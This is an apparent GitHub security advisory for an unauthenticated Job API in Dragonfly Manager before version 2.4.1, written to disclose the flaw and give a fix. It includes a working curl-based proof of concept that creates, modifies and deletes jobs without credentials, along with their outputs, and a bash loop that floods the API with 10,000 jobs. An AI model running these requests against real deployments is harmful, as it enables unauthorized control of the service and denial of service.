GHSA-j8hf-cp34-g4j7 Dragonfly Manager Job API Unauthenticated Access

• Go d7y.io/dragonfly/v2: < 2.4.1 → fixed in 2.4.1

Summary Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption. Affected Products • Product: Dragonfly • Component: Manager (REST API) • Affected Versions: v2.x (based on source code analysis, including v2.4.0) • Affected Endpoints: `/api/v1/jobs` Vulnerability Details Description Dragonfly Manager's Job API endpoints (`/api/v1/jobs`) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations: 1. List all jobs (GET `/api/v1/jobs`) 2. Create new jobs (POST `/api/v1/jobs`) 3. Query job details (GET `/api/v1/jobs/:id`) 4. Modify jobs (PATCH `/api/v1/jobs/:id`) 5. Delete jobs (DELETE `/api/v1/jobs/:id`) Technical Root Cause In the source code file `manager/router/router.go` at lines 204-211, the Job API route group lacks authentication middleware: ```go // TODO Add auth to the following routes and fix the tests. // Job. job := apiv1.Group("/jobs") job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) ``` In contrast, other API endpoints (such as `/clusters`) are correctly configured with authentication: ```go // manager/router/router.go:143 c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac) ``` The developer left a TODO comment in the code, indicating this is a known but unresolved issue. Proof of Concept Environment Setup Prerequisites • Kubernetes cluster (Kind/Minikube/GKE, etc.) • Helm 3.8.0+ • kubectl • curl and jq Deployment Steps 1. Add Dragonfly Helm Repository ```bash helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/ helm repo update ``` 2. Generate Deployment Manifest ```bash helm template dragonfly dragonfly/dragonfly \ --namespace dragonfly-system \ --set manager.replicas=1 \ --set scheduler.replicas=1 \ --set seedClient.replicas=1 \ --set client.enable=false > /tmp/dragonfly-manifest.yaml ``` 3. Deploy to Kubernetes ```bash kubectl create namespace dragonfly-system kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s ``` Expected Output: ``` namespace/dragonfly-system created [... resource creation messages ...] pod/dragonfly-manager-5cc788d64b-grpbk condition met pod/dragonfly-mysql-0 condition met pod/dragonfly-redis-master-0 condition met pod/dragonfly-scheduler-0 condition met pod/dragonfly-seed-client-0 condition met ``` 4. Setup Port Forwarding ```bash kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 & ``` Exploitation Steps Step 1: Verify Unauthenticated Access Command: ```bash curl -s -X GET http://localhost:8080/api/v1/jobs ``` Actual Output: ```json [] ``` HTTP Status Code: `200 OK` Analysis: The API returns a successful response instead of `401 Unauthorized`, confirming the lack of authentication. Step 2: Create Unauthorized Job Command: ```bash curl -s -X POST http://localhost:8080/api/v1/jobs \ -H "Content-Type: application/json" \ -d '{ "type": "preheat", "args": { "type": "file", "url": "http://example.com/test-file.txt" }, "scheduler_cluster_ids": [1] }' | jq . ``` Actual Output: ```json { "id": 2, "created_at": "2026-01-17T16:34:22.497Z", "updated_at": "2026-01-17T16:34:22.497Z", "task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9", "type": "preheat", "state": "PENDING", "args": { "type": "file", "url": "http://example.com/test-file.txt", "scope": "single_seed_peer", "timeout": 3600000000000 }, "user_id": 0, "scheduler_clusters": [ { "id": 1, "name": "cluster-1", "is_default": true } ] } ``` HTTP Status Code: `200 OK` Analysis: Successfully created a Job (ID: 2) without any authentication token. Step 3: Query Job Details Command: ```bash curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state' ``` Actual Output: ```json 2 "preheat" "PENDING" ``` HTTP Status Code: `200 OK` Step 4: Modify Job Command: ```bash curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \ -H "Content-Type: application/json" \ -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio' ``` Actual Output: ```json 2 "Modified by unauthenticated attacker" ``` HTTP Status Code: `200 OK` Step 5: Delete Job Command: ```bash curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2 ``` Actual Output: ``` 200 ``` HTTP Status Code: `200 OK` Step 6: Comparison Test - Authenticated Endpoint Command: ```bash curl -s -X GET http://localhost:8080/api/v1/clusters | jq . ``` Actual Output: ```json { "message": "Unauthorized" } ``` HTTP Status Code: `401 Unauthorized` Analysis: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration. Automated POC Script Complete automated verification script available at: • Script: `poc.sh` • Output Log: `poc_output.log` Execution Summary: ``` [Test 1] GET /api/v1/jobs - HTTP 200 VULNERABLE [Test 2] POST /api/v1/jobs - HTTP 200 VULNERABLE (Job ID: 2) [Test 3] GET /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 4] PATCH /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 5] DELETE /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 6] GET /api/v1/clusters - HTTP 401 EXPECTED (comparison test) ``` Impact Analysis Direct Impact 1. Unauthorized Job Management: Attackers can fully control the Job lifecycle (CRUD operations) 2. Information Disclosure: Can query all jobs, potentially exposing internal URLs, configurations, and business logic 3. Service Disruption: Can delete legitimate jobs, affecting normal file distribution services 4. Resource Exhaustion: Can create massive numbers of jobs leading to system resource exhaustion (DoS) Potential Attack Scenarios 1. Resource Exhaustion Attack ```bash Create 10,000 jobs to exhaust resources for i in $(seq 1 10000); do curl -X POST http://manager:8080/api/v1/jobs \ -H "Content-Type: application/json" \ -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"scheduler_cluster_ids\":[1]}" & done ``` 2. SSRF Risk: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist) 3. Business Logic Disruption: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality Affected Deployment Scenarios • Manager API exposed on the public internet or untrusted networks • Malicious users or compromised systems in internal networks • Tenant isolation failures in multi-tenant environments Remediation Recommended Fix Add authentication and authorization middleware to the Job API in the `manager/router/router.go` file: ```go // Before Fix (lines 204-211) job := apiv1.Group("/jobs") job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) // After Fix job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac) job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) ``` Temporary Mitigation Before the fix is released, the following mitigation measures can be taken: 1. Network Isolation: Restrict network access to the Manager API • Use firewall rules to limit source IPs …